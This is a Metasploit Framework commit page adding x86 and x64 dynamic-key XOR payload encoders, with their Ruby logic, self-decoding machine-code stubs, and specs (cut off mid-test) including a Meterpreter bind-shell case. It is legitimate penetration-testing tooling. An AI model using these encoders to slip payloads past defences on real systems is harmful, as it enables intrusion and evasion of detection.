Land #10553, add x86/xor_dynamic and x64/xor_dynamic encoders

Merge branch 'land-10553' into upstream-master
GSoC/Meterpreter_Web_Console
bwatters-r7 2018-10-30 09:56:15 -05:00
commit 08ec8e1ef9
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
5 changed files with 302 additions and 2 deletions

View File

@ -684,4 +684,5 @@ require 'msf/core/encoder/xor_additive_feedback'
require 'msf/core/encoder/alphanum'
require 'msf/core/encoder/nonalpha'
require 'msf/core/encoder/nonupper'
require 'msf/core/encoder/xor_dynamic'

View File

@ -0,0 +1,180 @@
# -*- coding: binary -*-
require 'msf/core'
class Msf::Encoder::XorDynamic < Msf::Encoder
def initialize(info)
super(info)
end
def min_key_len
Integer(datastore['KEYMIN'] || 0)
end
def max_key_len
Integer(datastore['KEYMAX'] || 0)
end
def key_inc
Integer(datastore['KEYINC'] || 0)
end
def stub
nil
end
def stub_key_term
nil
end
def stub_payload_term
nil
end
def find_key(buf, badchars, keyChars)
keyFound = nil
bufLen = buf.length
# Search for a valid key
_min_key_len = min_key_len
if _min_key_len < 1
_min_key_len = Integer(buf.length / 100 * (0.2 + 0.05 * badchars.length))
if _min_key_len < 1
_min_key_len = 1
end
end
_max_key_len = max_key_len
if _max_key_len < 1
_max_key_len = buf.length
end
if _min_key_len > _max_key_len or min_key_len == -1
_min_key_len = _max_key_len
end
_key_inc = key_inc
if _key_inc < 1
_key_inc = Integer(buf.length / 100 * (0.01 + 0.001 * badchars.length))
if _key_inc < 1
_key_inc = 1
end
end
keyLen = _min_key_len
while keyLen < _max_key_len + _key_inc do
if keyLen > _max_key_len
keyLen = _max_key_len
end
#$stderr.print "\rKey size: #{keyLen}"
#$stderr.flush
myKey = ""
for x in 0..keyLen - 1 do
keyChars.each_char do |j|
ok = true
i = 0
while i + x < bufLen do
if badchars[(buf[i + x].ord ^ j.ord).chr]
ok = false
break
end
i += keyLen
end
if ok
myKey << j.chr
break
end
end
end
if myKey.length == keyLen
keyFound = myKey
break
end
keyLen += _key_inc
end
#$stderr.print "\n"
#$stderr.flush
return keyFound
end
def encode(buf, badchars = nil, state = nil, platform = nil)
# Set default badchars if empty
badchars = "\x00\x0a\x0d" if (badchars == nil or badchars == '')
# Check badchars in stub
if Rex::Text.badchar_index(stub.gsub(stub_key_term, "").gsub(stub_payload_term, ""), badchars)
raise EncodingError, "Bad character found in stub for the #{self.name} encoder.", caller
end
# Set allowed chars
keyChars = ""
for i in 1..255 do
if !badchars[i.chr]
keyChars << i.chr
end
end
# Find key
key = find_key(buf, badchars, keyChars)
if key == nil
raise EncodingError, "A key could not be found for the #{self.name} encoder.", caller
end
# Search for key terminator
keyTerm = nil
keyChars.chars.shuffle.each do |i|
if !key[i]
keyTerm = i
break
end
end
if keyTerm == nil
raise EncodingError, "Key terminator could not be found for the #{self.name} encoder.", caller
end
# Encode paylod
pos = 0
encoded = ""
while pos < buf.length
encoded << (buf[pos].ord ^ key[pos % key.length].ord).chr
pos += 1
end
# Search for payload terminator
payloadTerm = nil
keyChars.chars.shuffle.each do |i|
break unless keyChars.chars.shuffle.each do |j|
if !encoded.index(i + j)
payloadTerm = i + j
break
end
end
end
if payloadTerm == nil
raise EncodingError, "Payload terminator could not be found for the #{self.name} encoder.", caller
end
finalPayload = stub.gsub(stub_key_term, keyTerm).gsub(stub_payload_term, payloadTerm) + key + keyTerm + encoded + payloadTerm
# Check badchars in finalPayload
if Rex::Text.badchar_index(finalPayload, badchars)
raise EncodingError, "Bad character found for the #{self.name} encoder.", caller
end
return finalPayload
end
end

View File

@ -0,0 +1,51 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Encoder::XorDynamic
def initialize
super(
'Name' => 'Dynamic key XOR Encoder',
'Description' => 'An x64 XOR encoder with dynamic key size',
'Author' => [ 'lupman', 'phra' ],
'Arch' => ARCH_X64,
'License' => MSF_LICENSE
)
end
def stub
"\xeb\x27" + # jmp _call
"\x5b" + # _ret: pop rbx
"\x53" + # push rbx
"\x5f" + # pop rdi
"\xb0\x41" + # mov al, 'A'
"\xfc" + # cld
"\xae" + # _lp1: scas al, BYTE PTR es:[rdi]
"\x75\xfd" + # jne _lp1
"\x57" + # push rdi
"\x59" + # pop rcx
"\x53" + # _lp2: push rbx
"\x5e" + # pop rsi
"\x8a\x06" + # _lp3: mov al, BYTE PTR [rsi]
"\x30\x07" + # xor BYTE PTR [rdi], al
"\x48\xff\xc7" + # inc rdi
"\x48\xff\xc6" + # inc rsi
"\x66\x81\x3f\x42\x42" + # cmp WORD PTR [rdi], 'BB'
"\x74\x07" + # je _jmp
"\x80\x3e\x41" + # cmp BYTE PTR [rsi], 'A'
"\x75\xea" + # jne _lp3
"\xeb\xe6" + # jmp _lp2
"\xff\xe1" + # _jmp: jmp rcx
"\xe8\xd4\xff\xff\xff" # _call: call _ret
end
def stub_key_term
/A/
end
def stub_payload_term
/BB/
end
end

View File

@ -0,0 +1,48 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Encoder::XorDynamic
def initialize
super(
'Name' => 'Dynamic key XOR Encoder',
'Description' => 'An x86 XOR encoder with dynamic key size',
'Author' => [ 'lupman', 'phra' ],
'Arch' => ARCH_X86,
'License' => MSF_LICENSE
)
end
def stub
"\xeb\x23" + # jmp _call
"\x5b" + # _ret: pop ebx
"\x89\xdf" + # mov edi, ebx
"\xb0\x41" + # mov al, 'A'
"\xfc" + # cld
"\xae" + # _lp1: scas al, BYTE PTR es:[edi]
"\x75\xfd" + # jne _lp1
"\x89\xf9" + # mov ecx, edi
"\x89\xde" + # _lp2: mov esi, ebx
"\x8a\x06" + # _lp3: mov al, BYTE PTR [esi]
"\x30\x07" + # xor BYTE PTR [edi], al
"\x47" + # inc edi
"\x66\x81\x3f\x42\x42" + # cmp WORD PTR [edi], 'BB'
"\x74\x08" + # je _jmp
"\x46" + # inc esi
"\x80\x3e\x41" + # cmp BYTE PTR [esi], 'A'
"\x75\xee" + # jne _lp3
"\xeb\xea" + # jmp _lp2
"\xff\xe1" + # _jmp: jmp ecx
"\xe8\xd8\xff\xff\xff" # _call: call _ret
end
def stub_key_term
/A/
end
def stub_payload_term
/BB/
end
end

View File

@ -11,6 +11,7 @@ RSpec.describe Msf::EncodedPayload do
'x86/shikata_ga_nai',
# Great rank
'x86/call4_dword_xor',
'x86/xor_dynamic',
'generic/none',
],
module_type: 'encoder',
@ -132,8 +133,27 @@ RSpec.describe Msf::EncodedPayload do
context 'with bad characters: "\\xD9\\x00"' do
let(:badchars) { "\xD9\x00".force_encoding('binary') }
specify 'chooses x86/call4_dword_xor' do
expect(encoded_payload.encoder.refname).to eq("x86/call4_dword_xor")
specify 'chooses x86/xor_dynamic' do
expect(encoded_payload.encoder.refname).to eq("x86/xor_dynamic")
end
specify do
expect(encoded_payload.encoded).not_to include(badchars)
end
end
context 'with windows/meterpreter_bind_tcp and bad characters: "\\x00\\x0a\\x0d"' do
let(:badchars) { "\x00\x0a\x0d".force_encoding('binary') }
let(:ancestor_reference_names) {
%w{singles/windows/meterpreter_bind_tcp}
}
let(:reference_name) {
'windows/meterpreter_bind_tcp'
}
specify 'chooses x86/xor_dynamic' do
expect(encoded_payload.encoder.refname).to eq("x86/xor_dynamic")
end
specify do